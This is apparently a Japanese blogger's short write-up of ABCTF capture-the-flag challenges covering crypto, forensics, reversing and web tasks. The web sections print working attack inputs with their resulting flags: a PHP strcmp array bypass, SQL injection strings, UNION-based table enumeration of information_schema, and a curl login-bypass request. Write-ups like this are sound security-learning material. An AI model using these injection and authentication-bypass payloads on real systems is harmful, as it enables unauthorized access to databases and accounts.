眠気

戯言とメモ

writeup的な

ABCTFの簡単なのをダラダラやっていて、あとは土日でやろう…

と楽しみに思っていたのですが、いつの間にか終わっていたので、

少し凹んだ。

Writeupがわりと寂しくなっていてショボイですが、覚え書き。

Caesar Salad - Crypt 10

xyzqc{t3_qelrdeq_t3_k33a3a_lk3_lc_qe3p3}

caesar solverなどでグーグル先生に聞いたり

abctf{w3_thought_w3_n33d3d_on3_of_th3s3}

Elemental - Web 10

<!-- 7xfsnj65gsklsjsdkj -->

Just open it - Forensic 15

strings 676F6F645F6A6F625F6275745F746869735F69736E745F7468655F666C6167.jpg |grep   "ABCTF"
ABCTF{forensics_1_tooo_easy?}

GZ - Forensic 30

解凍するだけでした。たしか。

The Flash - Web 35

$ echo "c3RvcHRoYXRqcw==" | base64 -D 
stopthatjs

Drive Home - Recon 50

document/1_TxYCrk5vIMlUjiB1OioXmR7b-Uq_a9aPIh9JyYlPNs/edit?usp=sharing

googleドキュメントのURLっぽいなあと

思っていたら、そんな感じでした。

Chocolate - Web 50

cookieの内容e2FkbWluOmZhbHNlfQ%3D%3Dをデコードしてみて、

$ node -e 'console.log(decodeURIComponent("e2FkbWluOmZhbHNlfQ%3D%3D"))' | base64 -D
{admin:false}

false→trueにしてまた戻したり

Java Madness - Rev 50

引数の文字を逆にしているだけみたいな

$ ruby -e 'puts "ctf coolest the is abctf".split(" ").map{|n|n.reverse}.join("\\  ")' | xargs java what_the_hack
...
Flag: ABCTF{ftc tselooc eht si ftcba}

手で逆にしていったほうが楽…

とりあえずrubyが書きたかった

Hide And Seek - Bin 50

main:
...
0x0000000100000f0c <+28>: cmp    eax,0x0
0x0000000100000f0f <+31>: jne    0x100000f1a <main+42> → 出力しておわり
0x0000000100000f15 <+37>: call   0x100000e70 <totallyNotTheFlag>
...

totallyNotTheFlag:
...
0x0000000100000eb0 <+64>: call   0x100000e00 <decrypt>
...

decrypt:
0x0000000100000e2c <+44>: cmp    rcx,rax
0x0000000100000e2f <+47>: jae    0x100000e63 <decrypt+99> → ret

gdbで適当にdecryptをループさせまくるだけでしょうか

gdb$ b *main+28
gdb$ b *decrypt+44
gdb$ r
gdb$ set $eax=0
gdb$ c
gdb$ set $rcx=0x0
gdb$ set $rax=0x30
gdb$ d 1
gdb$ commands 2
x/s $rdx
set $rcx=0x0
set $rax=0x30
end
gdb$ c

あとはエンター押しまくるだけ…

gdb$ 
Continuing.
0x7fff5fbff510: "CTF{w0w_b1NarY_1s_h@rd}"

MoonWalk - Forensic 60

foremostしました。

L33t H4xx0r - Web 70

source.txt

...
if(strcmp($PASSWORD, $_GET['password']) == 0){
            $success = true;
}else{
            $success = false;
}
...

strcmpのやつでしょうか。

配列で送って…

http://yrmyzscnvh.abctf.xyz/web6/?password[]=a

abctf{always_know_whats_going_on}

そんな感じです。

Get 'Em All - Web 80

よくあるやつですね

' or 1 = 1 ; -- ' ABCTF{th4t_is_why_you_n33d_to_sanitiz3_inputs}

JS Pls - Rev 80

これ

base64をデコードして難読化された部分を見やすくするために、

&&のところで改行したあと、

メチャンコ読みづらいところを実行して文字列にしておくとわりと読みやすくなったので、

あとはわりと手作業でした。

process.stdin.resume();
process.stdin.setEncoding('utf8');
console.log('Give me a flag');
process.stdin.on('data', function (a) {
    a = a.trim();
    19 === a.length
    &&
    a.substr(0, '5')  === "ABCTF"
    &&
    a['5'].charCodeAt(0) === a['18'].charCodeAt(0) - 1 - 1
    &&
    123 === a['5'].charCodeAt(0)
    &&
    a.substr('6', '4') === Object.keys(process.versions)[1]
    &&
    a['10'] === a['13']
    &&
    95 === a['10'].charCodeAt(0)
    &&
    a.substr('11', 2) === (typeof x)['5'] + (typeof a)[0]
    &&
    a.substr('14', '4') === "w4Ck"
    &&
    (console.log('nice job!'), process.exit());
    console.log('nope!');
    process.exit();
});

上から順に、

  • 19文字
  • 0~5はABCTF
  • 最後は}
  • 5文字目は{
  • 6~9文字目node
$ node -e "console.log(Object.keys(process.versions)[1])"
node
  • 11文字目と13文字目は一緒
  • 10文字目は_
node -e "console.log(String.fromCharCode(95))"
_
  • 11~12文字目はis

console.log((typeof x)['5'] + (typeof a)[0])をつっこんでみる

  • 14~17文字目はw4Ck

ということがわかるので、

まとめると、ABCTF{node_is_w4Ck}みたいな感じで。

もう少し効率よく頑張りたい…そんなこの頃。

Reunion - Web 150

?id=sleep(1)とか?id=1 or 1=1 ; --やると時間がかかったり全部出てきたりするので'いらないんだなとか分かったり

こんな感じかな

select * from Dog where id = $_GET['id']

みたいな感じで

unionのカラム数を1 union select 1,1,1みたいな感じで増やしていくと

カラム数は4つだとわかるので、

とりあえずテーブル名が欲しいので

1 AND 1=2 UNION SELECT table_schema, table_name ,1,1  FROM information_schema.tables ; --
...
Color: 1
Name: INNODB_BUFFER_PAGE_LRU
Breed: information_schema
Color: 1
Name: w0w_y0u_f0und_m3
Breed: webeight
Color: 1
Name: webeight
...

w0w_y0u_f0und_m3テーブルが怪しい。何だ

1 AND 1=2 UNION SELECT *,1,1,1 FROM w0w_y0u_f0und_m3 ; --

abctf{uni0n_1s_4_gr34t_c0mm4nd}

的な感じで

Inj3ction - Web 170

login.txt

...
$username = $_POST["username"];
$password = $_POST["password"];
$query = "SELECT * FROM users WHERE username='$username'";
$result = mysqli_query($con, $query);
$logged_in = false;
if(mysqli_num_rows($result) === 1) {
   $row = mysqli_fetch_array($result);
   if($row["password"] === $password){
    $logged_in = true;
    if($row["is_admin"] === true){
        echo("<h1>Wow! Your flag is: $flag </h1>");
     }
   }
}
...
  • 1行
  • 結果のpasswordがPOSTされたpasswordと一致
  • is_adminがtrue

を満たす結果をunionすれば良いのかな こんな感じで

1' union select 1,1,'pass',true ' ;--

みたいな

curl -X POST http://yrmyzscnvh.abctf.xyz/injection3/login.php -d username="1' union select 1,1,'pass',true ' ;--" -d password=pass
<h1>Wow! Your flag is: ABCTF{wait?_there's_more?} </h1>

そんなこんなでした。頑張ります。

あと、開催期間はちゃんと把握しておきます。ええ。